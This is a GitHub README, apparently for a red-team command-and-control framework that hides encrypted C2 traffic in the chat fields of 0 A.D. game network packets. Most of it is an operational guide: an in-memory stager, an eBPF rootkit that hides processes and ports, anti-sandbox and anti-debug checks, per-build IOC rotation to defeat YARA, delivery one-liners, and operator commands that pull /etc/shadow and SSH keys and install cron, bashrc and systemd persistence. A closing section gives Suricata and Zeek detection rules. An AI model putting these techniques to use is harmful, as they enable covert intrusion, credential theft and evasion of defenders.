franckferman/0adC2

GitHub: franckferman/0adC2

一款将红队 C2 通信隐写于 0 A.D. 游戏多人协议流量中的隐蔽命令与控制框架。

Stars: 0 | Forks: 0

# 0adC2 v7 这是一款命令与控制(Command & Control, C2)框架,它将通信伪装在开源游戏 **0 A.D.** (Empires Ascendant) 的网络流量中。 **背景**:CAGIP (Crédit Agricole Group Infrastructure Platform) 内部红队工具。仅在授权的测试任务中严格允许使用。 ## 目录 1. [概述](#1-vue-densemble) 2. [架构](#2-architecture) 3. [0AD 协议](#3-protocole-0ad) 4. [加密](#4-chiffrement) 5. [NMT_CHAT 隐写术](#5-steganographie-nmt_chat) 6. [Staging 链](#6-chaîne-de-staging) 7. [多态性与 IOCs](#7-polymorphisme--iocs) 8. [隐蔽技术](#8-techniques-de-discrétion) 9. [构建](#9-build) 10. [部署](#10-déploiement) 11. [操作员命令](#11-commandes-opérateur) 12. [Agent 投递](#12-livraison-de-lagent) 13. [UDP/0AD vs HTTPS](#13-udp0ad-vs-https) 14. [蓝队检测](#14-détection-blue-team) 15. [参考](#15-références) ## 1. 概述 0adC2 利用了这样一个事实:0 A.D. 的网络协议 (ENet UDP, port 20595) 在 SOC 特征库中非常罕见,没有 TLS 指纹,不会被企业 SSL 代理检查,并且具备合法流量的基线。 ``` ┌─────────────┐ ┌──────────────────┐ ┌──────────┐ │ Agent │ │ Serveur 0AD │ │ ctrl │ │ (Linux) │◄─UDP────►│ (public/privé) │◄─UDP────►│(opérateur│ │ │ 20595 │ ENet + NMT_CHAT │ 20595 │ │ └─────────────┘ └──────────────────┘ └──────────┘ │ │ └── ECDH X25519 + XSalsa20-Poly1305 (end-to-end) ─────┘ Les données C2 transitent en steganographie dans le champ sender des messages de chat (invisible UI) ``` **网络分析师看到的情况**:两名玩家连接到 0AD 服务器,每 200ms 发送一次心跳,并偶尔输入一些自然的聊天消息("gg", "gl hf", "good game!")。 **实际发生的情况**:ECDH 加密的 beacon、命令执行、文件窃取,全部以 base62 编码隐藏在 NMT_CHAT 的 GUID 字段中。 ## 2. 架构 ### 组件 | 文件 | 作用 | 生产环境大小 | |---------|------|-------------| | `agent.c` | 植入目标主机的 Agent | 去除符号后约 200 KB | | `ctrl.c` | 操作员界面 (readline, 多 Agent 支持) | 约 100 KB | | `c2_proto.h` | 完整协议 — NMT, 隐写术, ECDH, 握手 | 独立 header | | `stager.c` | 精简 Dropper — 通过 TCP staging 在内存中加载 agent | 去除符号后约 14 KB | | `stage_srv.c` | Staging 服务器 — 向 stager 提供加密的 agent | 约 50 KB | | `bpf_rootkit.bpf.c` | eBPF Rootkit — 隐藏 PID + /proc 中的 UDP 端口 | 内嵌 bytecode | | `bpf_load.h` | 精简 ELF BPF 加载器 (无 libbpf) | header | | `gen_agent_iocs.py` | 生成多态 IOCs (XOR 密钥, 玩家名) | 构建 script | | `gen_agent_str.py` | 生成 OBF_MSGS blob (伪造加密聊天) | 构建 script | | `gen_bpf_hdr.py` | 加密 BPF bytecode 并生成 `bpf_rootkit_obj.h` | 构建 script | | `gen_obf.py` | 加密 stager 常量 (host/port/key) | 构建 script | | `obf_agent_msgs.txt` | 包含 23 条虚假聊天消息的池 (明文,源码) | 文本 | | `obf_config.txt` | Stager 参数 (host, port, key) | 配置 | ### 协议层 ``` ┌─────────────────────────────────┐ │ Application C2 │ CMD / RSP / KA / DL / UL / CTL / DH ├─────────────────────────────────┤ │ Chiffrement session │ XSalsa20-Poly1305, clé ECDH X25519 │ (bootstrap : RC4 statique) │ (premier KA uniquement) ├─────────────────────────────────┤ │ Encodage │ Base62 (alphabet alphanumérique) ├─────────────────────────────────┤ │ Steganographie NMT_CHAT v7.2 │ Indicateur type + body dans sender cstr ├─────────────────────────────────┤ │ Transport ENet │ UDP fiable (même lib que 0AD) ├─────────────────────────────────┤ │ UDP port 20595 │ └─────────────────────────────────┘ ``` ## 3. 0AD 协议 ### 完整握手 (最大程度保真) Agent 完整重现了 0AD 握手过程,以便在真实服务器或熟悉该协议的 Wireshark 分析师面前隐藏行踪。 ``` Agent/Ctrl Serveur 0AD │ │ │ ←── NMT_SERVER_HANDSHAKE (1) ──────────│ engine, proto version, mods │ ──► NMT_CLIENT_HANDSHAKE (2) ─────────►│ même engine/proto/mods en miroir │ ←── NMT_SERVER_HANDSHAKE_RESPONSE (3) ─│ assignation playerID │ ──► NMT_AUTHENTICATE (4) ─────────────►│ nom joueur (UTF-16LE) + GUID + "" │ ←── NMT_AUTHENTICATE_RESULT (5) ───────│ code=1 (OK) │ ←── NMT_FILE_TRANSFER_REQUEST (12) ────│ début transfert carte │ ←── NMT_FILE_TRANSFER_DATA (13) ───────│ données carte (ignorées) │ ──► NMT_FILE_TRANSFER_ACK (15) ────────►│ │ ←── NMT_FILE_TRANSFER_RESPONSE (14) ───│ fin transfert │ ──► NMT_LOADED_GAME (23) ─────────────►│ │ ←── NMT_LOADED_GAME (23) ──────────────│ │ ──► NMT_REJOINED (17) ────────────────►│ agent "rejoint la partie" │ │ │◄──► NMT_END_COMMAND_BATCH (26) ───────►│ heartbeat toutes les ~200ms │◄──► NMT_SYNC_CHECK (27) ──────────────►│ réponse turn + hash pseudo-stable │ ──► NMT_CHAT (6) [C2 stego] ──────────►│ trafic C2 + faux chats ``` **保真关键点:** - `NMT_AUTHENTICATE` : 确定性 GUID (`FNV32(name)` 格式化为 UUID hex) — 绝不为空 - `NMT_END_COMMAND_BATCH` : 每 ~200ms 发送一次,带有 ±10ms 的抖动 (jitter),turn 计数器递增 - `NMT_SYNC_CHECK` : 使用相同的 turn + 稳定的会话 hash (`FNV32(key) ^ aid_hash`) 进行回复 - 伪造聊天 (`send_plain_chat`) : 每 5-15 分钟从 OBF_MSGS 池中发送一次 ### 使用的 NMT 消息类型 | 类型 | ID | 方向 | 作用 | |------|----|------|------| | NMT_CHAT | 6 | 双向 | 主要的 C2 载荷 | | NMT_END_COMMAND_BATCH | 26 | agent→srv | 游戏心跳 (~200ms) | | NMT_SYNC_CHECK | 27 | srv→agent 及回复 | 状态同步 | | NMT_FILE_TRANSFER_ACK | 15 | agent→srv | 地图确认 | | NMT_LOADED_GAME | 23 | 双向 | 加载完成 | | NMT_REJOINED | 17 | agent→srv | 连接到游戏 | ## 4. 加密 ### 引导阶段 — 静态 RC4 **仅**用于第一个 KA (Keep-Alive),在 ECDH 交换完成之前。KA 传输 agent 的 X25519 公钥,使用静态共享密钥(通过 agent + ctrl 参数传递)进行加密。 ``` ciphertext = RC4(key=sha1(shared_key_ascii), plaintext=sysinfo) ``` ### ECDH 后阶段 — XSalsa20-Poly1305 DH 交换后,每个会话通过以下方式获得唯一的派生密钥: ``` shared = X25519(ctrl_priv, agent_pub) sess_key = SHA-256(shared ‖ agent_pub ‖ ctrl_pub) (96 bytes → 32 bytes) ciphertext = crypto_secretbox_easy(plain, nonce_24_rand, sess_key) wire = nonce_24 ‖ mac_16 ‖ ciphertext base62 = b62encode(wire) ``` **属性:** - 部分前向保密:ctrl 密钥对按会话生成,agent 密钥对在多次连接间重用,但在每次构建时重新生成 - AEAD : 完整性 + 身份验证 + 机密性 - 单个会话被攻破 ≠ 其他会话被攻破 ### Staging 侧的会话派生 stager → stage_srv 通道使用相同的方案: ``` shared = X25519(stager_priv, srv_pub) sess_key = SHA-256(shared ‖ stager_pub ‖ srv_pub) chunks = [secretbox(chunk_4Ko, nonce_rand, sess_key)] ``` 服务器密钥对在每次 stager 连接时重新生成。 ## 5. NMT_CHAT 隐写术 ### 线上传输格式 NMT_CHAT (0AD 原生) ``` [type:u8=6] [seq:u16 BE] [payload...] payload := [sender_len:u32 BE] [sender:bytes] ← cstr ASCII [message_len:u32 BE] [message:bytes] ← cstrw UTF-16 BE ``` ### v7.2 方案 — sender 字段中的 C2 ``` Paquet C2 : sender = [type_char] + [body_base62] ← jamais affiché dans l'UI 0AD message = "good game!" / "gl hf" / ... ← seul champ visible dans le chat Faux chat (camouflage) : sender = "3f2a1b4c-0042-ab3e-..." ← GUID hex (0-9/a-f) → v4_parse retourne 0 message = "anyone here?" / "nice one" / ... ``` **为什么 sender 不显示在 0AD UI 中:** NMT_CHAT 的 sender 字段是发送玩家的 GUID,由服务器解析为显示名称。观察者和其他客户端看到的是解析后的名称,而不是原始 GUID。 **与合法 GUID 无冲突:** 真实的 0AD UUID 仅包含 `[0-9a-f-]`。C2 类型指示符使用 `'g'-'n'` (0x67–0x6E) — 超出了十六进制范围。解析 sender 字段第一个字节的程序可以立即区分这两种情况。 ### 类型指示符 | 字符 | Hex | 类型 | 方向 | body 结构 (base62) | |------|-----|------|-----------|----------------------------| | `g` | 0x67 | DLRQ | ctrl→agent | `tok8` + `tgt` + `phash8` + `secretbox(path)` | | `h` | 0x68 | CTL | ctrl→agent | `tok8` + `tgt` + `secretbox(commande_ctl)` | | `i` | 0x69 | DH | ctrl→agent | `tok8` + `T` + `aid8` + `ctrl_pub_b62(64)` | | `j` | 0x6A | CMD | ctrl→agent | `tok8` + `tgt` + `secretbox(commande_shell)` | | `k` | 0x6B | RSP | agent→ctrl | `aid8` + `jid4` + `seq4` + `tot4` + `secretbox(chunk)` | | `l` | 0x6C | KA | agent→ctrl | `tok8` + `aid8` + `pub_b62(64)` + `rc4(sysinfo)` | | `m` | 0x6D | DL | agent→ctrl | `aid8` + `phash8` + `seq4` + `tot4` + `secretbox(chunk)` | | `n` | 0x6E | UL | ctrl→agent | `tok8` + `tgt` + `phash8` + `seq4` + `tot4` + `secretbox(chunk)` | 字段: - `tok8` : `FNV32(shared_key)` 编码为 8 个 base62 字符 — 静态身份验证 - `aid8` : `FNV32(agent_id)` 编码为 8 个 base62 字符 — Agent 标识符 - `tgt` : `'W'` (通配符 = 所有 agent) 或 `'T'` + `aid8` (定向目标) - `phash8` : `FNV32(path)` — 文件传输标识符 - `jid4`/`seq4`/`tot4` : 作业 ID, chunk 序号, chunk 总数 ### 完整的 ECDH 流程 ``` agent ctrl │ │ │── KA (type 'l') ────────────►│ pubkey agent + sysinfo RC4 │ │ ctrl génère keypair éphémère │◄─ DH (type 'i') ────────────│ ctrl_pub en clair │ dérive sess_key │ dérive sess_key (même calcul) │── RSP jid=0 (type 'k') ────►│ "DH_OK" chiffré sess_key │ │ [ECDH OK] affiché dans ctrl │◄─ CMD (type 'j') ──────────►│ commandes chiffrées sess_key │── RSP streaming ────────────►│ résultats en chunks ``` ## 6. Staging 链 Stager 是部署在目标上的第一个 artifact。它非常精简(约 14 KB),没有 libenet,并在内存中加载完整的 agent,绝不写入磁盘。 ### 架构 ``` ┌──────────┐ TCP/20596 ┌────────────┐ mémoire seulement ┌───────┐ │ stager │◄───────────────►│ stage_srv │──────────────────────► │ agent │ │ ~14Ko │ ECDH X25519 │ │ memfd_create() │ │ │ (cible) │ secretbox │ (opérateur│ fexecve() │ │ └──────────┘ │ │ └───────┘ └────────────┘ ``` ### Stager 协议 (TCP) ``` stager stage_srv │ │ │── stager_pub (32 bytes) ───────────►│ │◄─ srv_pub (32 bytes) + total_sz ───│ │ shared = X25519(st_priv, srv_pub) │ │ sess_key = SHA-256(shared‖pubs) │ │◄─ [enc_len:u32][nonce+mac+chunk] ──│ (chunks de 4 Ko) │ ... autant de chunks que nécessaire │ mfd = memfd_create("[kworker/0:2]", 0) │ fexecve(mfd, argv_agent, environ) ``` ### 内存执行 ``` // stager.c int mfd = memfd_create("[kworker/0:2]", 0); // jamais sur disque // ... écriture de l'agent déchiffré dans mfd char *argv[] = { "systemd-journald", host, port, player, key, NULL }; fexecve(mfd, argv, environ); // exec depuis RAM // Fallback si fexecve échoue (vieux kernel) : execve("/proc/self/fd/", argv, environ); ``` 该 `memfd`: - 不会出现在 `ls /tmp`, `/var` 等目录中。 - 名称 `[kworker/0:2]` 在 `/proc/PID/maps` 中模拟内核线程 - 无法执行 `unlink`(没有文件系统路径) - `argv[0]` = `"systemd-journald"` (16 字符) → 留出空间供 agent 的 `spoof_name()` 覆盖为 kworker 名称 ### 启动 Staging 服务器 ``` # 操作端 — 在 stager 之前启动 ./stage_srv ./agent 20596 # 使用自定义端口 ./stage_srv ./agent 9443 ``` ## 7. 多态性与 IOCs 每次执行 `make fresh` / `make fresh_all` 都会重新生成一组随机 IOCs。生成的二进制文件具有**相同的代码**但**不同的数据** — 静态特征(YARA, hash, 字符串)在每次构建时都会变化。 ### 每次构建中变化的特征 | IOC | 机制 | 生成器 | |-----|-----------|------------| | `SB_KEY` (0x80–0xFF) | sandbox/proto 字符串的 XOR 密钥 | `gen_agent_iocs.py` | | `PN_KEY` (0x80–0xFF) | 进程名的 XOR 密钥 | `gen_agent_iocs.py` | | BPF bytecode XOR 密钥 | 对嵌入的 bytecode 进行类 AES 的滚动 XOR | `gen_bpf_hdr.py` | | 20 个玩家名 | 从 200 个基础名中抽取,并进行变异(添加字母+数字的前缀/后缀) | `gen_agent_iocs.py` | | OBF_MSGS blob 种子 | 对虚假聊天池进行随机种子的滚动 XOR | `gen_agent_str.py` | | Stager 常量 | Host/port/key 经过 XOR 加密,随机种子 | `gen_obf.py` | ### 二进制文件中的密钥保护 XOR 密钥不作为整数存储。以 `SB_KEY` 为例: ``` // obf_agent_iocs.h (généré) static volatile uint8_t _k_sb_hi = 0xBu; // nibble haut static volatile uint8_t _k_sb_lo = 0x3u; // nibble bas #define SB_KEY ((uint8_t)((_k_sb_hi << 4) | _k_sb_lo)) ``` - `volatile` : 禁止 GCC/Clang 即使在 `-O2` 优化下进行常量折叠 - 二进制文件中任何地方都找不到 `0xB3` - 能够抵御针对密钥值的 `strings` grep 或 YARA 扫描 ### 玩家名池 200 个历史和游戏玩家名称(示例): ``` caesar, leonidas, hannibal, scipio, saladin, genghis, timur, pericles, themistocles, pyrrhus, hamilcar, darius, artaxerxes, nomad, xorion, spartan, legatus, centurion, ... ``` 每次构建时,会抽取 20 个并进行变异: ``` caesar → caesar7x (suffix digits) leonidas → 42leonidas (prefix digits) saladin → lssaladin (prefix letters) spartan → 93spartan (prefix digits) ``` 结果:针对特定玩家名的 YARA 规则无法连续匹配两次构建。 ### 不变的特征(当前限制) - 编译后的 x86 Opcodes — `.text` 中的字节序列在不同构建间保持一致 - 函数偏移和 ELF 结构 - 针对特征 opcode 的 YARA (序言, io_uring 模式, RDTSC 序列) 会匹配所有构建结果 **完整的二进制多态性**(未实现)需要:等效的 LLVM 垃圾代码插入 pass、基础块重排或编译后的 packer。 ### 显示某次构建的玩家名 ``` make show_players # _pn0: constantiusy65 # _pn1: 359maecenas # _pn2: onagerjs # ... ``` ## 8. 隐蔽技术 ### Agent — 进程层 | 技术 | 实现 | 绕过 | |-----------|---------------|-----------| | 双重 fork 守护进程 | `fork()×2` + `setsid()`, PPID=1, stdin/stdout → `/dev/null` | 可疑的孤儿进程,终端痕迹 | |程名伪造 | `prctl(PR_SET_NAME, nm)` + 内存中覆盖 `argv[0]` | `ps`, `top`, `pgrep` | | eBPF Rootkit — 进程 | Hook `getdents64` → 移除该 PID 的 dirent64 条目 | `ls /proc`, `ps`, `top` | | eBPF Rootkit — 网络 | Hook `openat`+`read` → 动态修改 `/proc/net/udp` | `netstat -uap`, `ss -upn` | | `PR_SET_DUMPABLE=0` | 禁止 coredump,无 CAP_SYS_PTRACE 无法访问 `/proc/PID/mem` | 内存取证转储 | | `loginuid` 重置 | 向 `/proc/self/loginuid` 写入 `4294967295` | auditd 中的 SSH/PAM 跟踪痕迹 | | `oom_score_adj=-500` | 受 OOM killer 保护,与系统守护进程保持一致 | 意外终止 | | 自我删除 | 如果在磁盘上,则在 exec 之前执行 `unlink(readlink("/proc/self/exe"))` | 磁盘文件扫描 | | Timestomp | `utimensat()` 将 mtime/atime 对齐 `/bin/sh` | 取证时间轴 | | 清理环境 | `clearenv()` 然后仅保留 HOME + PATH + TERM=dumb | `/proc/PID/environ` | | 直接反 ptrace | 无需 PLT 直接调用 `syscall(__NR_ptrace, PTRACE_TRACEME)` | Debugger attach | ### Agent — 内存与 IO 层 | 技术 | 实现 | 绕过 | |-----------|---------------|-----------| | 网络 io_uring | `sendmsg()`/`recvmsg()` 通过 IORING_OP_SENDMSG/RECVMSG 封装 | strace, auditd syscall filter, Falco | | 文件 io_uring | 通过 IORING_OP_OPENAT + IORING_OP_READ 打开 + 读取 | Falco kprobe `openat`/`read` | | Sleep io_uring | 使用 `IORING_OP_TIMEOUT` 代替 `nanosleep(2)` | Falco kprobe `nanosleep` | | SQPOLL io_uring | `IORING_SETUP_SQPOLL` — 网络提交实现零 syscall | syscall 追踪 (设置后) | | SilentPulse | 在长时间睡眠期间:XOR `.text` + `mprotect(RW)`,随后恢复 | eBPF 内存扫描,.text 签名 | | RWX Stub | 复制到 `mmap(RWX)` 的独立 stub 执行 XOR + sleep | 通过内存 IP 进行归因 | | `sodium_mlock()` | 会话密钥 + 私钥锁定在 RAM 中(无 swap,无 coredump) | Swap/休眠取证 | | 字符串 XOR 半字节拆分 | 所有敏感字符串均使用 `SB_KEY` 编码,运行时解码 | `strings(1)`, YARA static | ### Agent — 反分析 | 检查项 | 检测目标 | |-------|---------| | Uptime < 5 分钟 | 刚启动的沙箱 | | 进程数 < 20 | 最小化的环境 | | `TracerPid ≠ 0` | 激活的 ptrace | | DMI product_name | VirtualBox, VMware, QEMU, KVM, Xen, Bochs, Hyper-V | | CPU 核心 < 2 | 单核 VM | | MemTotal < 1 GB | 轻量级沙箱 | | CPUID 引发的 RDTSC 增量 > 50 万 ticks | VM exit 开销 | | 10×NOP 的 RDTSC 增量 > 5 万 ticks | 单步调试器 | | CPUID 叶节点 1 的 ECX 位 31 | Hypervisor present bit | | 非空的 `LD_PRELOAD` | Frida, ltrace, 沙箱 hook | | `LD_AUDIT` / `LD_DEBUG` | 运行时插桩 | | `PTRACE_TRACEME` → `EPERM` | 已附加跟踪器 | ### 网络流量 | 行为 | 细节 | |-------------|--------| | NMT_END_COMMAND_BATCH 心跳 | 每 ~200ms 一次,递增 turn 计数器,±10ms 抖动 | | 泊松分布的 KA | 间隔时间呈指数分布(均值 20s)— 与自发流量无法区分 | | 伪造聊天 | 每 5-15 分钟发送自然消息 (OBF_MSGS 池),sender = 合法的 hex GUID | | NMT_AUTHENTICATE GUID | 由玩家名确定 (FNV32),合法的 UUID 格式 | | NMT_SYNC_CHECK | 使用服务器 turn + 伪稳定的会话 hash 回复 | | v7.2 隐写术 | 消息体 = 显示的自然文本;C2 数据在 sender 中(不可见) | ## 9. 构建 ### 依赖 ``` sudo apt install libenet-dev libsodium-dev libreadline-dev clang python3 # 可选(BPF rootkit): sudo apt install libbpf-dev bpftool ``` 验证: ``` make check_deps ``` ### 主要目标 | 命令 | 结果 | 用途 | |----------|----------|-------| | `make fresh_debug` | `agent_debug` + `ctrl` (新 IOCs) | 测试,开发 | | `make fresh` | 去除符号的 `agent` + `ctrl` (新 IOCs) | 无 stager 生产环境 | | `make fresh_all` | `agent` + `ctrl` + `stager` + `stage_srv` (全新 IOCs) | **在每次行动之前** | | `make fresh_all EXPIRE_DAYS=30` | 同上 + agent 编译注入 30 天的 kill-date | 有时间限制的行动 | | `make stager_fresh` | 仅 Stager,全新 stager IOCs | 仅轮换 stager | | `make agent_verbose` | 带有 stderr 协议追踪的 Agent | 协议调试 | | `make clean` | 删除二进制文件 + 生成的 headers | 完全重置 | ### 关键构建选项 ``` # Kill-date:agent 在该日期后自动静默删除 make fresh_all EXPIRE_DAYS=14 # 用于 debug 协议的 verbose build make agent_verbose ./agent_verbose 20595 # traces détaillées sur stderr # 检查当前 build 的玩家名称 make show_players # 用于 tracking IOC 的 SHA256 hashes make hashes ``` ### Agent 变体 | 二进制文件 | 守护进程 | 沙箱 | BPF Rootkit | self_delete | 去除符号 | |---------|--------|---------|-------------|-------------|--------| | `agent` | 是 | 是 | 是 | 是 | 是 | | `agent_debug` | 否 | 否 | 否 | 否 | 否 | | `agent_verbose` | 否 | 否 | 否 | 否 | 否 | ## 10. 部署 ### 推荐完整流程 ``` # 1. 使用新 IOCs build 所有内容 make fresh_all EXPIRE_DAYS=30 # 2. 配置 stager (obf_config.txt) cat obf_config.txt # STAGE_HOST = 192.168.1.10 # STAGE_PORT = 20596 # AGENT_SRV_HOST = 10.0.0.5 # AGENT_SRV_PORT = 20595 # AGENT_PLAYER = theodoric2 # AGENT_KEY = MySecretKey42 make stager_fresh # régénère avec la nouvelle config # 3. 操作端 — 按顺序启动 ./stage_srv ./agent 20596 & # serveur de staging ./ctrl 10.0.0.5 20595 Spectator42 MySecretKey42 # 4. 目标端 — 执行 stager ./stager # ou via la technique de livraison choisie # 5. 在 ctrl 中,等待 KA 然后 ECDH # [KA] theodoric2-a3f9 h=srv01|u=root|... # [DH →] theodoric2-a3f9 # [ECDH OK] theodoric2-a3f9 ``` ### ctrl 会话示例 ``` 0adc2> !agents theodoric2-a3f9c1e2 hash=b3a91f4d vu=3s ECDH✓ 0adc2> !target theodoric2-a3f9c1e2 [*] Cible : theodoric2-a3f9c1e2 [ECDH✓] 0adc2> id [>>] id (→ theodoric2-a3f9c1e2) [theodoric2-a3f9c1e2 / job 1] uid=0(root) gid=0(root) groups=0(root) [job 1 done, 1 chunks] 0adc2> !dl /etc/shadow 0adc2> !ul ./backdoor /usr/local/lib/.cache/svc-b3a91f4d 0adc2> !persist cron 0adc2> !persist bashrc 0adc2> !sleep 300 0adc2> !die ``` ### 多 Agent 管理 ``` 0adc2> !agents theodoric2-a3f9 ECDH✓ vu=2s 363maecenas-c1b7 ECDH✓ vu=8s onagerjs-5f2a no DH vu=1s (KA reçu, DH en cours) 0adc2> !target * 0adc2> uptime # envoyé à tous les agents ECDH établi 0adc2> !target theodoric2-a3f9 0adc2> cat /root/.ssh/id_rsa ``` ## 11. 操作员命令 ### ctrl 命令 | 命令 | 描述 | |----------|-------------| | `` | 在目标 agent 上通过 `/bin/sh -c` 执行 `` (ECDH 加密,流式传输) | | `!agents` | 列出所有已知 agent 及其 ECDH 状态和最后活动时间 | | `!target ` | 定位特定 agent 或全部 agent (`*`) | | `!jobs` | 列出目标 agent 上正在进行的作业 | | `!kill ` | 向作业 N 发送 SIGKILL | | `!dl ` | 从 agent 下载文件 (加密分块,本地重组) | | `!ul []` | 向 agent 发送文件 (最大 4 MB) | | `!persist cron` | 通过用户 crontab 持久化 (`@reboot`) | | `!persist bashrc` | 通过 `~/.bashrc` 持久化 (交互式会话) | | `!persist systemd` | 通过 `systemd --user` 服务持久化 | | `!persist syscron` | 通过 `/etc/cron.d/` 持久化 (需要 root) | | `!persist profile` | 通过 `/etc/profile.d/` 持久化 (需要 root) | | `!sleep ` | 将 agent 暂停 N 秒 (io_uring sleep,auditd 不可见) | | `!die` | 优雅终止 agent (调用 sodium_memzero 清除密钥, `_exit(0)`) | | `!help` | 显示帮助 | | `!quit` | 退出 ctrl | ### 导航 - `↑` / `↓` : 命令历史 (readline) - `Ctrl-C` : 中断 ctrl (agent 继续自主运行) - `Tab` : 补全 (readline,如果已配置) ### 文件下载 ``` # Download — 将 /etc/shadow 获取到当前的 ctrl 目录中 0adc2> !dl /etc/shadow [DL OK] /etc/shadow → ./shadow (theodoric2-a3f9) # Upload — 向 agent 发送二进制文件 0adc2> !ul ./agent_v2 /usr/local/lib/.cache/svc-newbuild [UL] ./agent_v2 → /usr/local/lib/.cache/svc-newbuild (512000 o, 3200 chunks) ``` ### 持久化 所有的持久化操作: 1. 将 agent 二进制文件复制到 `~/.local/share/.svc-` (或对于 root 复制到 `/usr/local/lib/.cache/svc-`) 2. 执行 timestomp (mtime/atime = `/bin/sh`) 3. 使用正确的参数配置选定的机制 (host, port, name, key) ## 12. Agent 投递 Stager 是投放至目标的首个 artifact。根据具体环境的选项: ### 选项 A — 直接 SSH/RCE 访问 ``` # 复制 stager 并执行 scp stager user@target:/tmp/.s ssh user@target '/tmp/.s && rm /tmp/.s' ``` ### 选项 B — 无磁盘写入 (curl + python) ``` # 在内存中执行 stager 的 Python one-liner # (没有 ECDH 的简化逻辑 — 需替换为完整的 stager) python3 -c " import socket, os, ctypes, struct libc = ctypes.CDLL(None) mfd = libc.memfd_create(b'[kworker/0:2]', 0) s = socket.create_connection(('', 20596)) # ... 接收并写入 mfd os.execve('/proc/self/fd/%d' % mfd, ['systemd-journald','','20595',''], os.environ) " ``` ### 选项 C — 通过恶意 `.so` 进行 LD_PRELOAD ``` # 如果可以在目标上放置 .so 文件 # stager 在 __attribute__((constructor)) 构造函数中运行 gcc -shared -fPIC -nostartfiles -o /tmp/.l.so stager_preload.c LD_PRELOAD=/tmp/.l.so /bin/ls ``` ### 选项 D — 通过持久化进行后渗透 从已建立的 agent 执行: ``` 0adc2> !ul ./stager_next_op /tmp/.s 0adc2> /tmp/.s ``` ## 13. UDP/0AD 与 HTTPS 的对比 ### 直接对比 | 标准 | 0adC2 v7 UDP/0AD | 传统 HTTPS C2 | |---------|------------------|--------------------| | 加密 | XSalsa20-Poly1305 (应用层) | TLS 1.3 (传输层) | | TLS 指纹 | **无** — 没有 TLS 握手 | JA3/JA3S, JARM, tls-fingerprint | | SNI / DNS | **无** — 直接 IP, UDP | SNI 可见,被动 DNS 查询 | | CT 日志 | **无** | CT 日志中的公共证书 | | SSL 代理检查 | **不可能** (UDP ≠ 代理) | Zscaler/BlueCoat/Palo Alto MITM | | 端口 | 20595 — 游戏端口,很少被监控 | 443 — 默认被检查 | | 应用层 DPI | 极少 (特定的 ENet/0AD 解码器) | 通用的标准 HTTP 解码器 | | 基础设施 | 公开或私有的 0AD 服务器 — 不会暴露 | 域名 + 证书 + IP 信誉 | | Beacon 规律性 | 200ms 游戏 + 20s 泊松分布 KA — 自然 | 规律的 Beacon — 极易检测 | | 基线合法性 | 同一协议上的真实玩家 | 全新域名 = 立即引起怀疑 | ### UDP/0AD 的优势 **零加密指纹。** JA3 是一个公开的特征库,记录了 Cobalt Strike, Havoc, Sliver, Metasploit 等的 ClientHello... 0adC2 没有 TLS 握手 → JA3 = N/A。JARM = N/A。 **零基础设施暴露。** 无域名(无被动 DNS),无证书(无 CT 日志记录),无需建立 IP 信誉。“C2 服务器”只是一个 50 KB 的 ENet 二进制文件。如果目标被攻破 — 我们的基础设施方面不会有任何损失。 **SSL 代理盲区。** 企业代理 (Zscaler, BlueCoat, Palo Alto SSL Inspection) 执行 TLS MITM。它们无法拦截任意的 UDP 流量。即使在完全检查 HTTPS 的 SI 环境中,XSalsa20-Poly1305 依然保持端到端加密。 **现有流量基线。** 0AD 拥有数以千计的真实玩家。在偶尔有开发者玩游戏的企业网络中,UDP/20595 流量并不异常。而在威胁情报中,昨天刚注册的域名会立刻引起怀疑。 ### 局限性 **边界穿越。** 端口 443 是全网开放的。在极其严格的 SI(银行、工业)中,UDP/20595 可能会被封锁。需要在部署前根据目标进行评估。 **Sender cstr 长度。** 合法的 0AD UUID 为 36 个字符。包含完整 base62 主体的 C2 sender 可能会超过 100 个字符 — 可被特定 DPI 检测到(见下文 Suricata 规则)。未来的缓解措施:将主体分片到多个数据包中。 **无 Domain Fronting。** 位于 CDN 后的 HTTPS C2 可以通过 SNI ≠ Host 掩盖真实目的地。UDP 没有等效机制。 ### 按场景的结论 | 目标 SI | 推荐通道 | |----------|-----------------| | 游戏端口开放,无 SSL 检查 | 0adC2 UDP | | 极度过滤的 SI (仅 443/80) | HTTPS | | 启用 SSL 检查 (Zscaler 等) | 0adC2 UDP | | 无 0AD 基线目标 | (20595 流量过于显眼) | | 存在已知 0AD 玩家的目标 | 0adC2 UDP | ## 14. 蓝队检测 ### Suricata — 网络规则 ``` # 0adC2 v7.2 — sender cstr 异常长 # 合法 UUID = 36 字符;base62 body 可能超过 100 字符 alert udp any any -> any 20595 ( content:"|06|"; offset:0; depth:1; byte_test:4,>,36,3; msg:"0adC2 NMT_CHAT sender field longueur anormale (v7.2)"; sid:9010; rev:2;) # 0adC2 v7.2 — sender 的首字节在 ['g'..'n'] (0x67-0x6E) 范围内 # 合法 0AD UUIDs:仅包含 [0-9a-f-] alert udp any any -> any 20595 ( content:"|06|"; offset:0; depth:1; byte_test:1,>=,0x67,7; byte_test:1,<=,0x6E,7; msg:"0adC2 type indicator g-n dans NMT_CHAT sender"; sid:9011; rev:2;) # 端口 20595 上的非 0AD 进程(行为启发式分析) # 需通过脚本实现 — Suricata 无法交叉比对 PID/端口 ``` ### 行为检测 (Linux) ``` # 端口 20595 上 exe 不是 0AD 的进程 ss -upnH sport = :20595 | awk '{print $6}' | grep -oP 'pid=\K[0-9]+' | \ while read pid; do exe=$(readlink /proc/$pid/exe 2>/dev/null) echo "$pid: $exe" | grep -v "0ad" done # 可疑的进程名称(通常不存在的 daemon) # agents 伪装成 kworker/X:Y、systemd-journald、NetworkManager 等 # 与预期的真实进程列表进行交叉比对 # 打开的 memfd 文件(通过 stager 交付的 agents) ls -la /proc/*/fd 2>/dev/null | grep memfd ``` ### Zeek — ENet 协议分析 ``` # 检测 sender 以 'g'-'n' (0x67-0x6E) 开头的 NMT_CHAT event udp_contents(c: connection, is_orig: bool, contents: string) { if (c$id$resp_p == 20595/udp) { if (|contents| > 10 && contents[0] == "\x06") { local sender_first = contents[7]; if (sender_first >= "\x67" && sender_first <= "\x6E") NOTICE([$note=C2_0adC2_Detected, $msg=fmt("0adC2 type indicator '%s' dans NMT_CHAT sender", sender_first), $conn=c]); } } } ``` ### 需监控的静态 IOC (但每次构建都会轮换) | IOC | 稳定性 | |-----|-----------| | 二进制文件的 SHA256 hash | 极低 (每次 `make fresh` 都会改变) | | 流量中的玩家名 | 低 (200 个基础名中抽取 20 个并变异) | | `/proc/PID/maps` 中的 `[kworker/0:2]` 模式 | 中 (stager.c 中的 memfd 名称固定) | | 非 0AD 进程使用 20595 UDP 端口 | 高 (稳定) | | NMT_CHAT Sender ∈ ['g'..'n'] | 高 